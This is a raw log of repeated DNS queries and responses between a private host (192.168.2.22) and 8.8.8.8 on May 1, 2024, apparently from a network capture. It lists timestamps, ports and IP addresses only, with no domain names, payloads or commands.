May 1, 2024 18:22:08.189425945 CEST	61601	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:08.284466028 CEST	53	61601	8.8.8.8	192.168.2.22
May 1, 2024 18:22:08.284791946 CEST	61601	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:08.379765987 CEST	53	61601	8.8.8.8	192.168.2.22
May 1, 2024 18:22:08.380001068 CEST	61601	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:08.474997997 CEST	53	61601	8.8.8.8	192.168.2.22
May 1, 2024 18:22:08.475156069 CEST	61601	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:08.570108891 CEST	53	61601	8.8.8.8	192.168.2.22
May 1, 2024 18:22:08.570441008 CEST	61601	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:08.664791107 CEST	53	61601	8.8.8.8	192.168.2.22
May 1, 2024 18:22:09.966001034 CEST	54615	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:10.061156988 CEST	53	54615	8.8.8.8	192.168.2.22
May 1, 2024 18:22:10.063260078 CEST	54615	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:10.157847881 CEST	53	54615	8.8.8.8	192.168.2.22
May 1, 2024 18:22:10.158267975 CEST	54615	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:10.257924080 CEST	53	54615	8.8.8.8	192.168.2.22
May 1, 2024 18:22:10.258152962 CEST	54615	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:10.352734089 CEST	53	54615	8.8.8.8	192.168.2.22
May 1, 2024 18:22:10.352945089 CEST	54615	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:10.447464943 CEST	53	54615	8.8.8.8	192.168.2.22
May 1, 2024 18:22:10.457840919 CEST	54950	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:10.552036047 CEST	53	54950	8.8.8.8	192.168.2.22
May 1, 2024 18:22:10.552289009 CEST	54950	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:10.646538973 CEST	53	54950	8.8.8.8	192.168.2.22
May 1, 2024 18:22:10.646753073 CEST	54950	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:10.740927935 CEST	53	54950	8.8.8.8	192.168.2.22
May 1, 2024 18:22:10.741548061 CEST	54950	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:10.837960005 CEST	53	54950	8.8.8.8	192.168.2.22
May 1, 2024 18:22:10.838922977 CEST	54950	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:10.933314085 CEST	53	54950	8.8.8.8	192.168.2.22
May 1, 2024 18:22:12.492696047 CEST	64215	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:12.589507103 CEST	53	64215	8.8.8.8	192.168.2.22
May 1, 2024 18:22:12.589715958 CEST	64215	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:12.685379982 CEST	53	64215	8.8.8.8	192.168.2.22
May 1, 2024 18:22:12.685692072 CEST	64215	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:12.782250881 CEST	53	64215	8.8.8.8	192.168.2.22
May 1, 2024 18:22:12.782565117 CEST	64215	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:12.879131079 CEST	53	64215	8.8.8.8	192.168.2.22
May 1, 2024 18:22:12.879354954 CEST	64215	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:12.973751068 CEST	53	64215	8.8.8.8	192.168.2.22
May 1, 2024 18:22:14.648088932 CEST	59604	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:14.743668079 CEST	53	59604	8.8.8.8	192.168.2.22
May 1, 2024 18:22:14.744129896 CEST	59604	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:14.839384079 CEST	53	59604	8.8.8.8	192.168.2.22
May 1, 2024 18:22:14.839586020 CEST	59604	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:14.934063911 CEST	53	59604	8.8.8.8	192.168.2.22
May 1, 2024 18:22:14.934303045 CEST	59604	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:15.029266119 CEST	53	59604	8.8.8.8	192.168.2.22
May 1, 2024 18:22:15.029652119 CEST	59604	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:15.124630928 CEST	53	59604	8.8.8.8	192.168.2.22
May 1, 2024 18:22:16.825422049 CEST	49520	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:16.920522928 CEST	53	49520	8.8.8.8	192.168.2.22
May 1, 2024 18:22:16.921485901 CEST	49520	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:17.015925884 CEST	53	49520	8.8.8.8	192.168.2.22
May 1, 2024 18:22:17.016194105 CEST	49520	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:17.110743999 CEST	53	49520	8.8.8.8	192.168.2.22
May 1, 2024 18:22:17.111049891 CEST	49520	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:17.206120968 CEST	53	49520	8.8.8.8	192.168.2.22
May 1, 2024 18:22:17.207022905 CEST	49520	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:17.302052975 CEST	53	49520	8.8.8.8	192.168.2.22
May 1, 2024 18:22:18.494682074 CEST	53031	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:18.605813980 CEST	53	53031	8.8.8.8	192.168.2.22
May 1, 2024 18:22:18.606101036 CEST	53031	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:18.700501919 CEST	53	53031	8.8.8.8	192.168.2.22
May 1, 2024 18:22:18.700737000 CEST	53031	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:18.795279980 CEST	53	53031	8.8.8.8	192.168.2.22
May 1, 2024 18:22:18.795528889 CEST	53031	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:18.890043974 CEST	53	53031	8.8.8.8	192.168.2.22
May 1, 2024 18:22:18.890286922 CEST	53031	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:18.985095024 CEST	53	53031	8.8.8.8	192.168.2.22
May 1, 2024 18:22:19.933764935 CEST	53112	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:20.044990063 CEST	53	53112	8.8.8.8	192.168.2.22
May 1, 2024 18:22:20.183161974 CEST	65080	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:20.294292927 CEST	53	65080	8.8.8.8	192.168.2.22
May 1, 2024 18:22:20.294513941 CEST	65080	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:20.389421940 CEST	53	65080	8.8.8.8	192.168.2.22
May 1, 2024 18:22:20.389724970 CEST	65080	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:20.484117031 CEST	53	65080	8.8.8.8	192.168.2.22
May 1, 2024 18:22:20.484337091 CEST	65080	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:20.578427076 CEST	53	65080	8.8.8.8	192.168.2.22
May 1, 2024 18:22:20.578669071 CEST	65080	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:20.672807932 CEST	53	65080	8.8.8.8	192.168.2.22
May 1, 2024 18:22:20.791063070 CEST	50702	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:20.886296988 CEST	53	50702	8.8.8.8	192.168.2.22
May 1, 2024 18:22:20.886620998 CEST	50702	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:20.981192112 CEST	53	50702	8.8.8.8	192.168.2.22
May 1, 2024 18:22:20.981419086 CEST	50702	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:21.075824022 CEST	53	50702	8.8.8.8	192.168.2.22
May 1, 2024 18:22:21.076066017 CEST	50702	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:21.170401096 CEST	53	50702	8.8.8.8	192.168.2.22
May 1, 2024 18:22:21.170627117 CEST	50702	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:21.265077114 CEST	53	50702	8.8.8.8	192.168.2.22
May 1, 2024 18:22:27.391911030 CEST	53089	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:27.432672024 CEST	51951	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:27.499444008 CEST	53	53089	8.8.8.8	192.168.2.22
May 1, 2024 18:22:27.527362108 CEST	53	51951	8.8.8.8	192.168.2.22
May 1, 2024 18:22:27.527772903 CEST	51951	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:27.625325918 CEST	53	51951	8.8.8.8	192.168.2.22
May 1, 2024 18:22:27.625559092 CEST	51951	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:27.721467972 CEST	53	51951	8.8.8.8	192.168.2.22
May 1, 2024 18:22:27.721797943 CEST	51951	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:27.819119930 CEST	53	51951	8.8.8.8	192.168.2.22
May 1, 2024 18:22:27.819361925 CEST	51951	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:27.913990974 CEST	53	51951	8.8.8.8	192.168.2.22
May 1, 2024 18:22:28.024665117 CEST	61549	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:28.120121956 CEST	53	61549	8.8.8.8	192.168.2.22
May 1, 2024 18:22:28.132033110 CEST	61549	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:28.230268002 CEST	53	61549	8.8.8.8	192.168.2.22
May 1, 2024 18:22:28.231211901 CEST	61549	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:28.329272032 CEST	53	61549	8.8.8.8	192.168.2.22
May 1, 2024 18:22:28.333406925 CEST	61549	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:28.428236961 CEST	53	61549	8.8.8.8	192.168.2.22
May 1, 2024 18:22:28.496870995 CEST	61549	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:28.591701984 CEST	53	61549	8.8.8.8	192.168.2.22
May 1, 2024 18:22:29.421323061 CEST	57998	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:29.516906023 CEST	53	57998	8.8.8.8	192.168.2.22
May 1, 2024 18:22:29.517096996 CEST	57998	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:29.611677885 CEST	53	57998	8.8.8.8	192.168.2.22
May 1, 2024 18:22:29.611840010 CEST	57998	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:29.706701994 CEST	53	57998	8.8.8.8	192.168.2.22
May 1, 2024 18:22:29.706909895 CEST	57998	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:29.801151037 CEST	53	57998	8.8.8.8	192.168.2.22
May 1, 2024 18:22:29.908931017 CEST	57998	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:30.006325960 CEST	53	57998	8.8.8.8	192.168.2.22
May 1, 2024 18:22:34.505369902 CEST	62439	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:34.600285053 CEST	53	62439	8.8.8.8	192.168.2.22
May 1, 2024 18:22:34.600500107 CEST	62439	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:34.695225954 CEST	53	62439	8.8.8.8	192.168.2.22
May 1, 2024 18:22:34.695513010 CEST	62439	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:34.789722919 CEST	53	62439	8.8.8.8	192.168.2.22
May 1, 2024 18:22:34.789962053 CEST	62439	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:34.886692047 CEST	53	62439	8.8.8.8	192.168.2.22
May 1, 2024 18:22:34.886935949 CEST	62439	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:34.983556986 CEST	53	62439	8.8.8.8	192.168.2.22
May 1, 2024 18:22:34.998074055 CEST	59432	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:35.097126007 CEST	53	59432	8.8.8.8	192.168.2.22
May 1, 2024 18:22:35.097315073 CEST	59432	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:35.192363977 CEST	53	59432	8.8.8.8	192.168.2.22
May 1, 2024 18:22:35.192524910 CEST	59432	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:35.291147947 CEST	53	59432	8.8.8.8	192.168.2.22
May 1, 2024 18:22:35.291342974 CEST	59432	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:35.387228966 CEST	53	59432	8.8.8.8	192.168.2.22
May 1, 2024 18:22:35.387414932 CEST	59432	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:35.483145952 CEST	53	59432	8.8.8.8	192.168.2.22
May 1, 2024 18:22:36.705383062 CEST	55910	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:36.803980112 CEST	53	55910	8.8.8.8	192.168.2.22
May 1, 2024 18:22:36.804203033 CEST	55910	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:36.898495913 CEST	53	55910	8.8.8.8	192.168.2.22
May 1, 2024 18:22:36.902228117 CEST	55910	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:36.996854067 CEST	53	55910	8.8.8.8	192.168.2.22
May 1, 2024 18:22:36.997085094 CEST	55910	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:37.091813087 CEST	53	55910	8.8.8.8	192.168.2.22
May 1, 2024 18:22:37.092837095 CEST	55910	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:37.187414885 CEST	53	55910	8.8.8.8	192.168.2.22
May 1, 2024 18:22:37.195841074 CEST	61564	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:37.290445089 CEST	53	61564	8.8.8.8	192.168.2.22
May 1, 2024 18:22:37.290626049 CEST	61564	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:37.388025045 CEST	53	61564	8.8.8.8	192.168.2.22
May 1, 2024 18:22:37.388287067 CEST	61564	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:37.486912966 CEST	53	61564	8.8.8.8	192.168.2.22
May 1, 2024 18:22:37.487287045 CEST	61564	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:37.582844973 CEST	53	61564	8.8.8.8	192.168.2.22
May 1, 2024 18:22:37.583035946 CEST	61564	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:37.678781033 CEST	53	61564	8.8.8.8	192.168.2.22
May 1, 2024 18:22:38.821369886 CEST	51384	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:38.915643930 CEST	53	51384	8.8.8.8	192.168.2.22
May 1, 2024 18:22:38.917068958 CEST	51384	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:39.011465073 CEST	53	51384	8.8.8.8	192.168.2.22
May 1, 2024 18:22:39.011676073 CEST	51384	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:39.106447935 CEST	53	51384	8.8.8.8	192.168.2.22
May 1, 2024 18:22:39.106695890 CEST	51384	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:39.200860977 CEST	53	51384	8.8.8.8	192.168.2.22
May 1, 2024 18:22:39.201545000 CEST	51384	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:39.295669079 CEST	53	51384	8.8.8.8	192.168.2.22
May 1, 2024 18:22:39.315838099 CEST	53785	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:39.410255909 CEST	53	53785	8.8.8.8	192.168.2.22
May 1, 2024 18:22:39.410470009 CEST	53785	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:39.505004883 CEST	53	53785	8.8.8.8	192.168.2.22
May 1, 2024 18:22:39.505238056 CEST	53785	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:39.599780083 CEST	53	53785	8.8.8.8	192.168.2.22
May 1, 2024 18:22:39.599957943 CEST	53785	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:39.694116116 CEST	53	53785	8.8.8.8	192.168.2.22
May 1, 2024 18:22:39.694297075 CEST	53785	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:39.788772106 CEST	53	53785	8.8.8.8	192.168.2.22
May 1, 2024 18:22:40.132133961 CEST	55277	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:40.226686954 CEST	53	55277	8.8.8.8	192.168.2.22
May 1, 2024 18:22:40.226847887 CEST	55277	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:40.321182966 CEST	53	55277	8.8.8.8	192.168.2.22
May 1, 2024 18:22:40.321338892 CEST	55277	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:40.416328907 CEST	53	55277	8.8.8.8	192.168.2.22
May 1, 2024 18:22:40.416470051 CEST	55277	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:40.511493921 CEST	53	55277	8.8.8.8	192.168.2.22
May 1, 2024 18:22:40.511637926 CEST	55277	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:40.605897903 CEST	53	55277	8.8.8.8	192.168.2.22
May 1, 2024 18:22:41.654154062 CEST	51183	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:41.749278069 CEST	53	51183	8.8.8.8	192.168.2.22
May 1, 2024 18:22:41.750489950 CEST	51183	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:41.845454931 CEST	53	51183	8.8.8.8	192.168.2.22
May 1, 2024 18:22:41.846642971 CEST	51183	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:41.941804886 CEST	53	51183	8.8.8.8	192.168.2.22
May 1, 2024 18:22:41.942084074 CEST	51183	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:42.037432909 CEST	53	51183	8.8.8.8	192.168.2.22
May 1, 2024 18:22:42.037667990 CEST	51183	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:42.132721901 CEST	53	51183	8.8.8.8	192.168.2.22
May 1, 2024 18:22:42.307491064 CEST	57027	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:42.402503014 CEST	53	57027	8.8.8.8	192.168.2.22
May 1, 2024 18:22:42.402728081 CEST	57027	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:42.497694016 CEST	53	57027	8.8.8.8	192.168.2.22
May 1, 2024 18:22:42.497925997 CEST	57027	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:42.592390060 CEST	53	57027	8.8.8.8	192.168.2.22
May 1, 2024 18:22:42.592650890 CEST	57027	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:42.687483072 CEST	53	57027	8.8.8.8	192.168.2.22
May 1, 2024 18:22:42.687736034 CEST	57027	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:42.782213926 CEST	53	57027	8.8.8.8	192.168.2.22
May 1, 2024 18:22:42.958205938 CEST	50380	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:43.052886963 CEST	53	50380	8.8.8.8	192.168.2.22
May 1, 2024 18:22:43.053092957 CEST	50380	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:43.147329092 CEST	53	50380	8.8.8.8	192.168.2.22
May 1, 2024 18:22:43.147496939 CEST	50380	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:43.241799116 CEST	53	50380	8.8.8.8	192.168.2.22
May 1, 2024 18:22:43.242006063 CEST	50380	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:43.336113930 CEST	53	50380	8.8.8.8	192.168.2.22
May 1, 2024 18:22:43.336268902 CEST	50380	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:43.430495024 CEST	53	50380	8.8.8.8	192.168.2.22
May 1, 2024 18:22:44.480649948 CEST	56156	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:44.575793982 CEST	53	56156	8.8.8.8	192.168.2.22
May 1, 2024 18:22:44.576061010 CEST	56156	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:44.670814037 CEST	53	56156	8.8.8.8	192.168.2.22
May 1, 2024 18:22:44.671076059 CEST	56156	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:44.765389919 CEST	53	56156	8.8.8.8	192.168.2.22
May 1, 2024 18:22:44.769984007 CEST	56156	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:44.864962101 CEST	53	56156	8.8.8.8	192.168.2.22
May 1, 2024 18:22:44.865179062 CEST	56156	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:44.959405899 CEST	53	56156	8.8.8.8	192.168.2.22
May 1, 2024 18:22:46.313878059 CEST	60971	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:46.408247948 CEST	53	60971	8.8.8.8	192.168.2.22
May 1, 2024 18:22:46.408739090 CEST	60971	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:46.503927946 CEST	53	60971	8.8.8.8	192.168.2.22
May 1, 2024 18:22:46.504148960 CEST	60971	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:46.601465940 CEST	53	60971	8.8.8.8	192.168.2.22
May 1, 2024 18:22:46.601730108 CEST	60971	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:46.697170973 CEST	53	60971	8.8.8.8	192.168.2.22
May 1, 2024 18:22:46.698278904 CEST	60971	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:46.796214104 CEST	53	60971	8.8.8.8	192.168.2.22
May 1, 2024 18:22:46.845649004 CEST	56308	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:46.940078974 CEST	53	56308	8.8.8.8	192.168.2.22
May 1, 2024 18:22:46.940309048 CEST	56308	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:47.034826994 CEST	53	56308	8.8.8.8	192.168.2.22
May 1, 2024 18:22:47.035043001 CEST	56308	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:47.129460096 CEST	53	56308	8.8.8.8	192.168.2.22
May 1, 2024 18:22:47.133527994 CEST	56308	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:47.228118896 CEST	53	56308	8.8.8.8	192.168.2.22
May 1, 2024 18:22:47.229324102 CEST	56308	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:47.323602915 CEST	53	56308	8.8.8.8	192.168.2.22
May 1, 2024 18:22:47.334239006 CEST	51268	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:47.445822001 CEST	53	51268	8.8.8.8	192.168.2.22
May 1, 2024 18:22:47.449465036 CEST	51268	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:47.543581009 CEST	53	51268	8.8.8.8	192.168.2.22
May 1, 2024 18:22:47.554034948 CEST	51268	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:47.648475885 CEST	53	51268	8.8.8.8	192.168.2.22
May 1, 2024 18:22:47.649490118 CEST	51268	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:47.743983030 CEST	53	51268	8.8.8.8	192.168.2.22
May 1, 2024 18:22:47.744138002 CEST	51268	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:47.839170933 CEST	53	51268	8.8.8.8	192.168.2.22
May 1, 2024 18:22:48.862423897 CEST	59475	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:48.956727982 CEST	53	59475	8.8.8.8	192.168.2.22
May 1, 2024 18:22:48.956934929 CEST	59475	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:49.051152945 CEST	53	59475	8.8.8.8	192.168.2.22
May 1, 2024 18:22:49.051445961 CEST	59475	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:49.145638943 CEST	53	59475	8.8.8.8	192.168.2.22
May 1, 2024 18:22:49.145869970 CEST	59475	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:49.240231991 CEST	53	59475	8.8.8.8	192.168.2.22
May 1, 2024 18:22:49.243303061 CEST	59475	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:49.337512016 CEST	53	59475	8.8.8.8	192.168.2.22
May 1, 2024 18:22:49.348141909 CEST	62930	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:49.442820072 CEST	53	62930	8.8.8.8	192.168.2.22
May 1, 2024 18:22:49.447283983 CEST	62930	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:49.541452885 CEST	53	62930	8.8.8.8	192.168.2.22
May 1, 2024 18:22:49.543271065 CEST	62930	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:49.637514114 CEST	53	62930	8.8.8.8	192.168.2.22
May 1, 2024 18:22:49.643289089 CEST	62930	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:49.737502098 CEST	53	62930	8.8.8.8	192.168.2.22
May 1, 2024 18:22:49.737740993 CEST	62930	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:49.832015038 CEST	53	62930	8.8.8.8	192.168.2.22
May 1, 2024 18:22:49.842605114 CEST	61008	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:49.937618971 CEST	53	61008	8.8.8.8	192.168.2.22
May 1, 2024 18:22:49.938218117 CEST	61008	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:50.032835960 CEST	53	61008	8.8.8.8	192.168.2.22
May 1, 2024 18:22:50.033008099 CEST	61008	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:50.127928972 CEST	53	61008	8.8.8.8	192.168.2.22
May 1, 2024 18:22:50.128153086 CEST	61008	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:50.222654104 CEST	53	61008	8.8.8.8	192.168.2.22
May 1, 2024 18:22:50.223376036 CEST	61008	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:50.317847967 CEST	53	61008	8.8.8.8	192.168.2.22
May 1, 2024 18:22:51.354475975 CEST	53188	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:51.464852095 CEST	53	53188	8.8.8.8	192.168.2.22
May 1, 2024 18:22:51.465317965 CEST	53188	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:51.559847116 CEST	53	53188	8.8.8.8	192.168.2.22
May 1, 2024 18:22:51.563265085 CEST	53188	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:51.674386978 CEST	53	53188	8.8.8.8	192.168.2.22
May 1, 2024 18:22:51.675280094 CEST	53188	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:51.769714117 CEST	53	53188	8.8.8.8	192.168.2.22
May 1, 2024 18:22:51.769942045 CEST	53188	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:51.864157915 CEST	53	53188	8.8.8.8	192.168.2.22
May 1, 2024 18:22:51.874034882 CEST	54333	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:51.969091892 CEST	53	54333	8.8.8.8	192.168.2.22
May 1, 2024 18:22:51.969374895 CEST	54333	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:52.089922905 CEST	53	54333	8.8.8.8	192.168.2.22
May 1, 2024 18:22:52.090219021 CEST	54333	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:52.202805042 CEST	53	54333	8.8.8.8	192.168.2.22
May 1, 2024 18:22:52.203027010 CEST	54333	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:52.298156977 CEST	53	54333	8.8.8.8	192.168.2.22
May 1, 2024 18:22:52.299387932 CEST	54333	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:52.393877029 CEST	53	54333	8.8.8.8	192.168.2.22
May 1, 2024 18:22:52.403633118 CEST	55388	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:52.498246908 CEST	53	55388	8.8.8.8	192.168.2.22
May 1, 2024 18:22:52.499404907 CEST	55388	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:52.594079018 CEST	53	55388	8.8.8.8	192.168.2.22
May 1, 2024 18:22:52.594396114 CEST	55388	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:52.689183950 CEST	53	55388	8.8.8.8	192.168.2.22
May 1, 2024 18:22:52.708307028 CEST	55388	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:52.802944899 CEST	53	55388	8.8.8.8	192.168.2.22
May 1, 2024 18:22:52.803129911 CEST	55388	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:52.897597075 CEST	53	55388	8.8.8.8	192.168.2.22
May 1, 2024 18:22:53.915472031 CEST	60624	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.009882927 CEST	53	60624	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.010133028 CEST	60624	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.104612112 CEST	53	60624	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.105259895 CEST	60624	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.199695110 CEST	53	60624	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.201739073 CEST	60624	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.296776056 CEST	53	60624	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.297254086 CEST	60624	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.391719103 CEST	53	60624	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.398705006 CEST	58974	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.493885994 CEST	53	58974	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.497287989 CEST	58974	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.591691017 CEST	53	58974	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.592010975 CEST	58974	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.687007904 CEST	53	58974	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.687288046 CEST	58974	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.782144070 CEST	53	58974	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.782345057 CEST	58974	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.876624107 CEST	53	58974	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.890232086 CEST	54154	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:54.985073090 CEST	53	54154	8.8.8.8	192.168.2.22
May 1, 2024 18:22:54.985241890 CEST	54154	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:55.079838991 CEST	53	54154	8.8.8.8	192.168.2.22
